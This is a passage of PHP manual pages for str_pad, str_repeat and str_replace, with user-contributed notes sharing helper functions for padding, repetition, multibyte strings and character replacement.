    echo  "len $sl1: $s1 \n";
    echo  "len $sl2: $s2 \n";
    echo  "\n";
    if ($sl1 != $sl2) die("Fail!");
}
?>

Output;
len 3: ...
len 3: ...

len 4: ...A
len 4: ...Ä

len 5: A...A
len 5: Ä...Ä

len 6: A...AO
len 6: Ä...ÄÖ
...
sergey 12-Oct-2011 11:45
You can use trim functions for clearpad string:

ltrim("0001230", "0") -> 1230
rtrim("0123000", "0") -> 0123
trim("0012300")     -> 123
gene at swipesy dot com 25-Sep-2011 06:18
This is how I pad using &nbsp; :

str_replace(" ", "&nbsp;&nbsp;", str_pad($foo, 10, " ", STR_PAD_LEFT))

Seems to work well using two &nbsp; tags for each character added, at least for my use. YMMV.
Kari &#34;Haprog&#34; Sderholm 21-Mar-2009 03:43
Here's a quick and simple way to make an mb_str_pad function that works when you have correctly set your internal encoding.

I'm not sure how well this works in all possible scenarios but atleast it worked for me using UTF-8 as internal encoding and using this function on strings containing scandinavian characters "åäöÅÄÖ" that are double byte in UTF-8.

<?php
function mb_str_pad($input, $pad_length, $pad_string=' ', $pad_type=STR_PAD_RIGHT) {
    $diff = strlen($input) - mb_strlen($input);
    return str_pad($input, $pad_length+$diff, $pad_string, $pad_type);
}
?>
matrebatre 16-Oct-2008 08:28
Here is a simple function to convert numbers into strings like this:

0 => 0000
1 => 0001
20 => 0020
432 => 0432

<?php

function number_pad($number,$n) {
return str_pad((int) $number,$n,"0",STR_PAD_LEFT);
}

?>

$n indicates how many characters you want.
bxi at apparoat dot nl 20-Mar-2008 03:17
In case you want to pad 2 strings together with a character you can use:

<?php
function pad_between_strings($string1, $string2, $length, $char = " ") {
    $fill_length = $length - ( strlen($string1) + strlen($string2) );
    return $string1 . str_repeat($char, $fill_length) . $string2;
}
?>
Spudley 18-Jul-2007 05:47
Warning: If your string includes non-ascii characters (eg the British pounds sign), str_pad() will treat these as two characters when calculating the padding.

So for example:
<?php
str_pad($currency_symbol.$showtottopay,12," ",STR_PAD_LEFT);
?>
will produce a different length string depending on whether $currency_symbol is pounds or dollars.

Hope this helps someone -- it caused me a lot of problems with misaligned columns in my invoices until I worked it out.
christian dot reinecke at web dot de 01-Apr-2007 07:43
Fills the first argument (mostly a number, f.e. from a <select> loop to display a date or time) with zeroes.

<?php
function zerofill($mStretch, $iLength = 2)
{
    $sPrintfString = '%0' . (int)$iLength . 's';
    return sprintf($sPrintfString, $mStretch);
}
?>

sprintf() is indeed faster than str_pad.
Silvio Ginter (silvio dot ginter at gmx dot de) 15-Nov-2005 05:43
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*     This function is an extension to str_pad, it manipulates the referenced
    string '$str' and stretches or reduces it to the specified length. It
    returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
    $origLen = strlen($str);
    if (strlen($str) < $len) {     /* stretch string */
        $str = str_pad($str, $len, $char, $str_pad_const);
    }
    else {                         /* reduce string */
        switch ($str_pad_const) {
            case STR_PAD_LEFT:
                $str = substr($str, (strlen($str) - $len), $len);
                break;
            case STR_PAD_BOTH:
                $shorten = (int) ((strlen($str) - $len) / 2);
                $str = substr($str, $shorten, $len);
                break;
            default:
                $str = substr($str, 0, $len);
                break;
        }
    }
    return ($len - $origLen);
}
?>
private dot email at optusnet dot com dot au 10-Aug-2005 02:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
    return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + $int;
    $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
    return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
    $i = strlen ( $string ) + ( $int * 2 );
    $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
    return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
zubfatal <root at it dot dk> 28-Mar-2005 06:28
<?php
    /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
    **/
    function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
        if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

            switch ($intPadType) {
                 // STR_PAD_LEFT
                case 0:
                    $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    $offsetRight = 0;
                    break;

                // STR_PAD_RIGHT
                case 1:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;

                // STR_PAD_BOTH
                case 2:
                    $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                    $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                    break;

                // STR_PAD_RIGHT
                default:
                    $offsetLeft = 0;
                    $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                    break;
            }

            $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
            unset($strInput, $offsetLeft, $offsetRight);

            return $strPadded;
        }

        else {
            return $strInput;
        }
    }

?>
bob [at] bobarmadillo [dot] com 03-Dec-2002 06:22
In a lot of cases you're better off using str_repeat if you want to use something like   - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
david dot rensonnet at swing dot be 02-Dec-2002 12:18
my solution to saveloywill at netscape dot net:

$myvar2="Alien";
$myvar=str_pad($myvar2,15," ",STR_PAD_RIGHT);
$myvar=str_replace(" ","&nbsp;",$myvar);

this way, only complete spaces will show up.

enjoy!
david rensonnet
Fahad dot Gilani at anu dot edu dot au 02-Dec-2002 11:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
          This is pretty interesting!           Dont you think?

Cheers,
Fahad
mreilly at NOSPAM dot mac dot com 20-Aug-2002 08:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
saveloywill at netscape dot net 10-Aug-2002 09:50
Here is my solution to the above problem.
Simply place the code in question inbetween  html <pre> tags, like this:

<?php
print "<pre>";
$input = "Alien";
print str_pad($input, 10);
print "*";
print "</pre>";
?>

Thanks.
pozytron#mac#com 08-Jul-2002 11:20
The trouble with cj@NOSPAM.ceejayoz.com's version over pestilenc@hotmail.com's is that many of the times it is used, it will end up with fragments of the "&nbsp;" code.

For example, the following code:
<?php
echo str_pad("TESTSTRING",60,"&nbsp;",STR_PAD_BOTH);
?>

produces the following HTML output:
&nbsp;&nbsp;&nbsp;&nbsp;&TESTSTRING&nbsp;&nbsp;&nbsp;&nbsp;&
cj at NOSPAM dot ceejayoz dot com 17-Jun-2002 09:38
Another solution to no_email@php.net's problem would be to simply multiply the padding string by 6.

e.g.

$string = str_pad($string, 10, "&nbsp;", STR_PAD_BOTH);

becomes

$string = str_pad($string, 60, "&nbsp;", STR_PAD_BOTH);

which will avoid problems with the above solution, which will mess up text that has the * in it (or whichever character you're replacing)
pestilenc at hotmail dot com 06-Jun-2002 01:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);
no_email at php dot net 30-May-2002 07:34
To convert your string couldnt you just use strval($var)?

What if you want non-breaking spaces? If I try to str_pad with "&nbsp;" PHP thinks my padding string is 6 characters, whn in HTML it is only one.
jared at dctkc dot com 04-May-2002 01:25
matthew.somerville's code did NOT work for me.
neither did bert@catsburg.com's.
neither did any other documentation.
(if I isolated the code by itself, they all worked; but in the context I was using it, $value was numeric, and there is NO WAY to force it to be a string in PHP).

I had to roll my own. I used 'trim' to _force_
the value of $value to be string, because as
long as PHP thought it was numeric, I could
not use any form of left-padding with zeros.

This worked (I use sprintf to left-pad
$value with zeros to a length of 4):

sprintf("%04s",trim($value));
matthew dot somerville at trinity dot oxford dot ac dot uk 05-Aug-2001 03:53
I find:

$mystr = substr("0000$mystr",-4)

(where the 0s are padding characters and -4 is the negative of the maxlength to pad to) is even simpler.


Repeat a string

  • « str_pad
  • str_replace »
  • PHP Manual
  • String Functions
  • Repeat a string

str_repeat

(PHP 4, PHP 5)

str_repeat — Repeat a string

Description

string str_repeat ( string $input , int $multiplier )

Returns input repeated multiplier times.

Parameters

input

The string to be repeated.

multiplier

Number of time the input string should be repeated.

multiplier has to be greater than or equal to 0. If the multiplier is set to 0, the function will return an empty string.

Return Values

Returns the repeated string.

Examples

Example #1 str_repeat() example

<?php
echo str_repeat("-=", 10);
?>

The above example will output:

-=-=-=-=-=-=-=-=-=-=

See Also

  • for
  • str_pad() - Pad a string to a certain length with another string
  • substr_count() - Count the number of substring occurrences

User Contributed Notes

Anonymous 23-Oct-2011 01:51
hi guys ,
i've faced this example :
<?php

$my_head = str_repeat("°~", 35);
echo $my_head;

?>

so , the length should be 35x2 = 70 !!!
if we echo it :

<?php
$my_head = str_repeat("°~", 35);
echo strlen($my_head); // 105
echo mb_strlen($my_head, 'UTF-8'); // 70
?>

be carefull with characters and try to use mb_* package to make sure everything goes well ...
Damien Bezborodov 28-Apr-2009 09:45
Here is a simple one liner to repeat a string multiple times with a separator:

<?php
implode($separator, array_fill(0, $multiplier, $input));
?>

Example script:
<?php

// How I like to repeat a string using standard PHP functions
$input = 'bar';
$multiplier = 5;
$separator = ',';
print implode($separator, array_fill(0, $multiplier, $input));
print "\n";

// Say, this comes in handy with count() on an array that we want to use in an
// SQL query such as 'WHERE foo IN (...)'
$args = array('1', '2', '3');
print implode(',', array_fill(0, count($args), '?'));
print "\n";
?>

Example Output:
bar,bar,bar,bar,bar
?,?,?
claude dot pache at gmail dot com 10-Feb-2009 11:25
Here is a shorter version of Kees van Dieren's function below, which is moreover compatible with the syntax of str_repeat:

<?php
function str_repeat_extended($input, $multiplier, $separator='')
{
    return $multiplier==0 ? '' : str_repeat($input.$separator, $multiplier-1).$input;
}
?>
Alper Kaya 30-Jun-2007 12:09
If you want to hide a part of your password, you can use this code. It's very simple and might be required in your user management panel.

<?php
$password = "12345abcdef";
$visibleLength = 4; // 4 chars from the beginning

echo substr($password,0,4).str_repeat("*", (strlen($password)-$visibleLength));
?>
15-Sep-2005 04:32
In reply to what Roland Knall wrote:

It is much simpler to use printf() or sprintf() for leading zeros.

<?php
   printf("%05d<br>\n",  1); // Will echo 00001
   sprintf("%05d<br>\n",  1); // Will return 00001
?>
21-Jul-2003 07:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.
bryantSPAMw at geocities dot SPAM dot com 25-Oct-2001 01:16
(For the benefit of those searching the website:)

This is the equivalent of Perl's "x" (repetition) operator, for eg.  str_repeat("blah", 8) in PHP does the same thing as "blah" x 8 in Perl.


Replace all occurrences of the search string with the replacement string

  • « str_repeat
  • str_rot13 »
  • PHP Manual
  • String Functions
  • Replace all occurrences of the search string with the replacement string

str_replace

(PHP 4, PHP 5)

str_replace — Replace all occurrences of the search string with the replacement string

Description

mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

This function returns a string or an array with all occurrences of search in subject replaced with the given replace value.

If you don't need fancy replacing rules (like regular expressions), you should always use this function instead of preg_replace().

Parameters

If search and replace are arrays, then str_replace() takes a value from each array and uses them to search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though.

If search or replace are arrays, their elements are processed first to last.

search

The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles.

replace

The replacement value that replaces found search values. An array may be used to designate multiple replacements.

subject

The string or array being searched and replaced on, otherwise known as the haystack.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

count

If passed, this will be set to the number of replacements performed.

Return Values

This function returns a string or an array with the replaced values.

Examples

Example #1 Basic str_replace() examples

<?php
// Provides: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// Provides: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// Provides: You should eat pizza, beer, and ice cream every day
$phrase  = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy   = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// Provides: 2
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count;
?>

Example #2 Examples of potential str_replace() gotchas

<?php
// Order of replacement
$str     = "Line 1\nLine 2\rLine 3\r\nLine 4\n";
$order   = array("\r\n", "\n", "\r");
$replace = '<br />';

// Processes \r\n's first so they aren't converted twice.
$newstr = str_replace($order, $replace, $str);

// Outputs F because A is replaced with B, then B is replaced with C, and so on...
// Finally E is replaced with F, because of left to right replacements.
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';
echo str_replace($search, $replace, $subject);

// Outputs: apearpearle pear
// For the same reason mentioned above
$letters = array('a', 'p');
$fruit   = array('apple', 'pear');
$text    = 'a p';
$output  = str_replace($letters, $fruit, $text);
echo $output;
?>

Notes

Note: This function is binary-safe.

Caution

Replacement order gotcha

Because str_replace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. See also the examples in this document.

Note:

This function is case-sensitive. Use str_ireplace() for case-insensitive replace.

See Also

  • str_ireplace() - Case-insensitive version of str_replace.
  • substr_replace() - Replace text within a portion of a string
  • preg_replace() - Perform a regular expression search and replace
  • strtr() - Translate characters or replace substrings

User Contributed Notes

karst at onlinq dot nl 17-Oct-2014 10:57
"If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though. "

I think one important (and not at all vaguely theoretical) use-case is completely ignored here. Take, for example, the way the PDO handles parameter replacement.

If we have the following query:
"SELECT * FROM my_table WHERE (id = ? AND my_column = ? AND other_column = ?);"
The "?"s should be replaced by each successive variable in a $parameters array. That is EXACTLY the use case for "search" being a value and "replace" being an array.

Considering that this is not only a real-world example but also part of a core PHP functionality I find it very strange that it's dismissed so easily here.
Ing. Mirko Plazotta 04-Sep-2014 06:27
<?php
// a very beatiful way to do multiple replacements is this one, using just one array
$replaceThis = Array(
'old word' => 'new word',
'was' => 'it',
'past' => 'future',
);

$originalText = "every old word was a thing of the past...";
$replacedText = str_replace(array_keys($replaceThis), $replaceThis, $originalText);
echo $replacedText;
?>
markem at sim1 dot us 28-Aug-2014 05:04
I was working with MySQL and displaying the title to things on the web page.  I'd written a script to ensure single and double quotes were removed from the title.  I used

    $title = str_replace( "'", "", $title );

and

     $title = str_replace( '"', "", $title );

But still the single and double quotes continued.  So I wrote a bit of code to print out each character separated by a dash.  Like so:

     for( $i=0; $i<strlen($title); $i++ ){
         echo "$i-";
         }

     echo "<br>\n";

This displayed:

     m-y-c-o-m-p-a-n-y- b-b-&-#-3-9-;-s

Which made me go "Oh!  I get it."

The MySQL function real_escape_string modifies the single quotes to be &#39; and double quotes as &#34;  These still show up as single and double quotes under HTML and most importantly -

     JAVASCRIPT sees the &#34; and &#39; as actual single or double
     quotes.  So if you are passing arguments to a function you have
     to get rid of them or else you will get an error on trying to call
     a given function.  Example:

     <a href="javascript:func1('mycompany bbs&#39;s")'">

     becomes

     <a href="javascript:func1('mycompany bbs's');">

Which then will give you an error because there is a single quote inside of the single quoted string.  HOWEVER, the

     $title = str_replace( "'", "", $title );

WILL NOT FIND a single quote.  Instead, you have to do this:

     $title = str_replace( "&#39;", "'", $title );
and
     $title = str_relace( "&#34;", '"', $title );

(Or you could just get rid of them.)

So remember!  If you are trying to remove single and double quotes and are using MySQL and MySQL's real_escape_string() function that you might be having single and double quotes hanging around which are defined as &#39; and &#34; but which show up as single and double quotes as well as causing problems in your Javascripts.
abc dot abc1 at vp dot pl 18-Feb-2014 05:59
I have:

<?php
function lacz_bd()
{
  $db = new mysqli('localhost', '_admin', 'pass', 'db');

  if (! $db)
      return false;
   $db->autocommit(TRUE);
   return $db;
}
// dane do ramy pliku .xml
$kanalRSS = '<?xml version="1.0" encoding="ISO-8859-2"?>';
$kanalRSS .= '<trovit>';
$kanalRSS .= '<ad>';

// połaczenie z bazą danych
$db = lacz_bd();
//zapytanie określające dane ktore powinny byc pobrane z tabeli
// teraz pobierzmy wszystkie dane spelniajace warunek category_id=140
$zapytanie = "SELECT * FROM announcements WHERE category_id in (140,141,142,143,144)";
$wynik = $db->query($zapytanie);
$ile_znalezionych = $wynik->num_rows;

for ($i=0; $i <$ile_znalezionych; $i++)
        {
        $wiersz = $wynik->fetch_assoc();

        //usuwamy znaczniki html ze wszystkich danych z tabeli, polskie znaki, duze litery
        $string_title = $wiersz['annoucement_title'];
        $string_url = $wiersz['annoucement_title'];
        $pattern = array(' ', ',', '.', '/ą/', '/Ą/', '/ć/', '/Ć/', '/ę/', '/Ę/', '/ł/', '/Ł/' ,'/ń/', '/Ń/', '/ó/', '/Ó/', '/ś/', '/Ś/', '/ź/', '/Ź/', '/ż/', '/Ż/',);
        $replacement = array('-', '', '',     'a', 'A', 'c', 'C', 'e', 'E', 'l', 'L', 'n', 'N', 'o', 'O', 's', 'S', 'z', 'Z', 'z', 'Z',);
        $string_url = strtolower(str_replace($pattern, $replacement, $string_url));

        $wiersz['annoucement_content'] = strip_tags($wiersz['annoucement_content']);
        //dodajemy nazwy rodzajow ogloszenia
        $string_type = $wiersz['annoucement_type'];
        $_type = array('1', '2', '3', '4');
        $_new_type = array('Buy', 'Replace', 'For Rent', 'For Sale');
        $wiersz['annoucement_type'] = str_replace($_type, $_new_type, $string_type);

//tutaj generujemy zawartosc pliku .xml, ktora pobierana jest z tabeli announcements
        $kanalRSS .= '<item>';
    $kanalRSS .= '<id><![CDATA['.$wiersz['annoucement_id'].']]></id>';
    $kanalRSS .= '<url><![CDATA[http://oglaszajtu.pl/ogloszenia/'.$wiersz['annoucement_id'].'/'.$string_url.']]></url>';
    $kanalRSS .= '<title><![CDATA['.$string_title.']]></title>';
    $kanalRSS .= '<type><![CDATA['.$wiersz['annoucement_type'].']]></type>';
    $kanalRSS .= '<content><![CDATA['.$wiersz['annoucement_content'].']]></content>';
    $kanalRSS .= '<date><![CDATA['.$wiersz['annoucement_date_added'].']]></date>';
        $kanalRSS .= '</item>';
                }
    $kanalRSS .= ' </ad>';
$kanalRSS .= '</trovit>';

//Zapisujemy wygenerowany kod XML do pliku moj_rss.xml
$fp = fopen('trovit_oglaszajtu.xml','w');
fwrite($fp,$kanalRSS);
fclose($fp);
?>

And one problem - ą,ó,ś, etc - don't delete

oglaszajtu.pl/moj_rss.php
oglaszajtu.pl/trovit_oglaszajtu.xml

:-(
Can anyone help me?
Thx
rel
Anonymous 19-Jul-2013 07:01
@moostende at gmail dot com
If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you CAN use str_replace !

<?php
function foo($str)
{
    do {
        $str = str_replace("--", "-", $str, $count);
    } while ($count > 0);
    return $str;
}
echo foo("-aaa----b-c-----d--e---f");
?>

This outputs the following:
-aaa-b-c-d-e-f
cmbecker69 at gmx dot de 17-Jun-2013 10:53
To collapse multiple consecutive space characters to a single one, don't use str_replace() inside a loop--use preg_replace() instead for clarity and better performance:

<?php

$str = ' This is    a    test   ';
$str = preg_replace('/ +/', ' ', $str);

?>
kriscraig at php dot net 21-Jul-2012 08:03
<?php

/**
 * Convert foreign 8859-1 characters into HTML entities.
 *
 * @param string $str
 *   The string being parsed.
 *
 * @return string
 *   The converted string.
 */
public static function convert_chars_to_entities( $str )
{
    $str = str_replace( 'À', '&#192;', $str );
    $str = str_replace( 'Á', '&#193;', $str );
    $str = str_replace( 'Â', '&#194;', $str );
    $str = str_replace( 'Ã', '&#195;', $str );
    $str = str_replace( 'Ä', '&#196;', $str );
    $str = str_replace( 'Å', '&#197;', $str );
    $str = str_replace( 'Æ', '&#198;', $str );
    $str = str_replace( 'Ç', '&#199;', $str );
    $str = str_replace( 'È', '&#200;', $str );
    $str = str_replace( 'É', '&#201;', $str );
    $str = str_replace( 'Ê', '&#202;', $str );
    $str = str_replace( 'Ë', '&#203;', $str );
    $str = str_replace( 'Ì', '&#204;', $str );
    $str = str_replace( 'Í', '&#205;', $str );
    $str = str_replace( 'Î', '&#206;', $str );
    $str = str_replace( 'Ï', '&#207;', $str );
    $str = str_replace( 'Ð', '&#208;', $str );
    $str = str_replace( 'Ñ', '&#209;', $str );
    $str = str_replace( 'Ò', '&#210;', $str );
    $str = str_replace( 'Ó', '&#211;', $str );
    $str = str_replace( 'Ô', '&#212;', $str );
    $str = str_replace( 'Õ', '&#213;', $str );
    $str = str_replace( 'Ö', '&#214;', $str );
    $str = str_replace( '×', '&#215;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( 'Ø', '&#216;', $str );
    $str = str_replace( 'Ù', '&#217;', $str );
    $str = str_replace( 'Ú', '&#218;', $str );
    $str = str_replace( 'Û', '&#219;', $str );
    $str = str_replace( 'Ü', '&#220;', $str );
    $str = str_replace( 'Ý', '&#221;', $str );
    $str = str_replace( 'Þ', '&#222;', $str );
    $str = str_replace( 'ß', '&#223;', $str );
    $str = str_replace( 'à', '&#224;', $str );
    $str = str_replace( 'á', '&#225;', $str );
    $str = str_replace( 'â', '&#226;', $str );
    $str = str_replace( 'ã', '&#227;', $str );
    $str = str_replace( 'ä', '&#228;', $str );
    $str = str_replace( 'å', '&#229;', $str );
    $str = str_replace( 'æ', '&#230;', $str );
    $str = str_replace( 'ç', '&#231;', $str );
    $str = str_replace( 'è', '&#232;', $str );
    $str = str_replace( 'é', '&#233;', $str );
    $str = str_replace( 'ê', '&#234;', $str );
    $str = str_replace( 'ë', '&#235;', $str );
    $str = str_replace( 'ì', '&#236;', $str );
    $str = str_replace( 'í', '&#237;', $str );
    $str = str_replace( 'î', '&#238;', $str );
    $str = str_replace( 'ï', '&#239;', $str );
    $str = str_replace( 'ð', '&#240;', $str );
    $str = str_replace( 'ñ', '&#241;', $str );
    $str = str_replace( 'ò', '&#242;', $str );
    $str = str_replace( 'ó', '&#243;', $str );
    $str = str_replace( 'ô', '&#244;', $str );
    $str = str_replace( 'õ', '&#245;', $str );
    $str = str_replace( 'ö', '&#246;', $str );
    $str = str_replace( '÷', '&#247;', $str );  // Yeah, I know.  But otherwise the gap is confusing.  --Kris
    $str = str_replace( 'ø', '&#248;', $str );
    $str = str_replace( 'ù', '&#249;', $str );
    $str = str_replace( 'ú', '&#250;', $str );
    $str = str_replace( 'û', '&#251;', $str );
    $str = str_replace( 'ü', '&#252;', $str );
    $str = str_replace( 'ý', '&#253;', $str );
    $str = str_replace( 'þ', '&#254;', $str );
    $str = str_replace( 'ÿ', '&#255;', $str );

    return $str;
}
?>
bfrohs at gmail dot com 11-Jul-2012 03:27
This function implements $limit for str_replace(); is 100% backward compatible with str_replace(); uses str_replace() whenever possible (for performance reasons); supports arrays for $search, $replace, and $subject; and is fully commented.

<?php
/**
 * Replace $limit occurences of the search string with the replacement
 * @param mixed $search The value being searched for. An array may be used to
 * designate multiple needles.
 * @param mixed $replace The replacement value that replaces found search
 * values. An array may be used to designate multiple replacements.
 * @param mixed $subject The string or array being searched and replaced on. If
 * subject is an array, then the search and replace is performed with every
 * entry of subject, and the return value is an array as well.
 * @param string $count If passed, this will be set to the number of
 * replacements performed.
 * @param int $limit The maximum possible replacements for each pattern in each
 * subject string. Defaults to -1 (no limit).
 * @return string This function returns a string with the replaced values.
 */
function str_replace_limit($search, $replace, $subject, &$count, $limit = -1){
 $count = 0;
 // Invalid $limit provided
 if(!($limit===strval(intval(strval($limit))))){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting an '.
    'integer', E_USER_WARNING);
  return $subject;
 }
 // Invalid $limit provided
 if($limit<-1){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting -1 or '.
    'a positive integer', E_USER_WARNING);
  return $subject;
 }
 // No replacements necessary
 if($limit===0){
  trigger_error('Invalid $limit `'.$limit.'` provided. Expecting -1 or '.
    'a positive integer', E_USER_NOTICE);
  return $subject;
 }
 // Use str_replace() when possible
 if($limit===-1){
  return str_replace($search, $replace, $subject, $count);
 }
 if(is_array($subject)){
  // Loop through $subject values
  foreach($subject as $key => $this_subject){
   // Skip values that are arrays
   if(!is_array($this_subject)){
    // Call this function again
    $this_function = __FUNCTION__;
    $subject[$key] = $this_function($search, $replace, $this_subject, $this_count, $limit);
    // Adjust $count
    $count += $this_count;
    // Adjust $limit
    if($limit!=-1){
     $limit -= $this_count;
    }
    // Reached $limit
    if($limit===0){
     return $subject;
    }
   }
  }
  return $subject;
 } elseif(is_array($search)){
  // Clear keys of $search
  $search = array_values($search);
  // Clear keys of $replace
  if(is_array($replace)){
   $replace = array_values($replace);
  }
  // Loop through $search
  foreach($search as $key => $this_search){
   // Don't support multi-dimensional arrays
   $this_search = strval($this_search);
   // If $replace is an array, use $replace[$key] if exists, else ''
   if(is_array($replace)){
    if(array_key_exists($key, $replace)){
     $this_replace = strval($replace[$key]);
    } else {
     $this_replace = '';
    }
   } else {
    $this_replace = strval($replace);
   }
   // Call this function again for
   $this_function = __FUNCTION__;
   $subject = $this_function($this_search, $this_replace, $subject, $this_count, $limit);
   // Adjust $count
   $count += $this_count;
   // Adjust $limit
   if($limit!=-1){
    $limit -= $this_count;
   }
   // Reached $limit
   if($limit===0){
    return $subject;
   }
  }
  return $subject;
 } else {
  $search = strval($search);
  $replace = strval($replace);
  // Get position of first $search
  $pos = strpos($subject, $search);
  // Return $subject if $search cannot be found
  if($pos===false){
   return $subject;
  }
  // Get length of $search
  $search_len = strlen($search);
  // Loop until $search cannot be found or $limit is reached
  for($i=0;(($i<$limit)||($limit===-1));$i++){
   $subject = substr_replace($subject, $replace, $pos, $search_len);
   // Increase $count
   $count++;
   // Get location of next $search
   $pos = strpos($subject, $search);
   // Break out of loop
   if($pos===false){
    break;
   }
  }
  return $subject;
 }
}
?>
christof dot rieger at r-tron dot de 26-Apr-2012 05:41
In many countries the numeric format is 1.000,33 in english it is 1,000.33

This function converts numeric arguments always into the PHP confirm numeric format. If only one seperator is into the numericstring so it is interpreted as the decimalpoint.

 function dp($zahl)
{
  if ((strpos($zahl,".") > "-1") | (strpos($zahl,",") > "-1")) {
    if ((strpos($zahl,".") > "-1") & (strpos($zahl,",") > "-1")) {
      if (strpos($zahl,".") > strpos($zahl,",")){
          return str_replace(",","",$zahl);
    } else {
          return str_replace(",",".",str_replace(".","",$zahl));
      }
  } else {
      if (strpos($zahl,".") > "-1") {
        if (strpos($zahl,".") == strrpos($zahl,".")) {
            return $zahl;
      } else {
          return str_replace(".","",$zahl);
        }
    } else {
        if (strpos($zahl,",") == strrpos($zahl,",")) {
          return str_replace(",",".",$zahl);
      } else {
          return str_replace(",","",$zahl);
        }
    } }
} else {
    return $zahl;
} }
Denzel Morris 06-Apr-2012 11:43
Maybe obvious to veteran PHP programmers but less so to novice PHP programmers is the fact that this is invalid:
<?php
str_replace($search, $replace, $subject, 1);
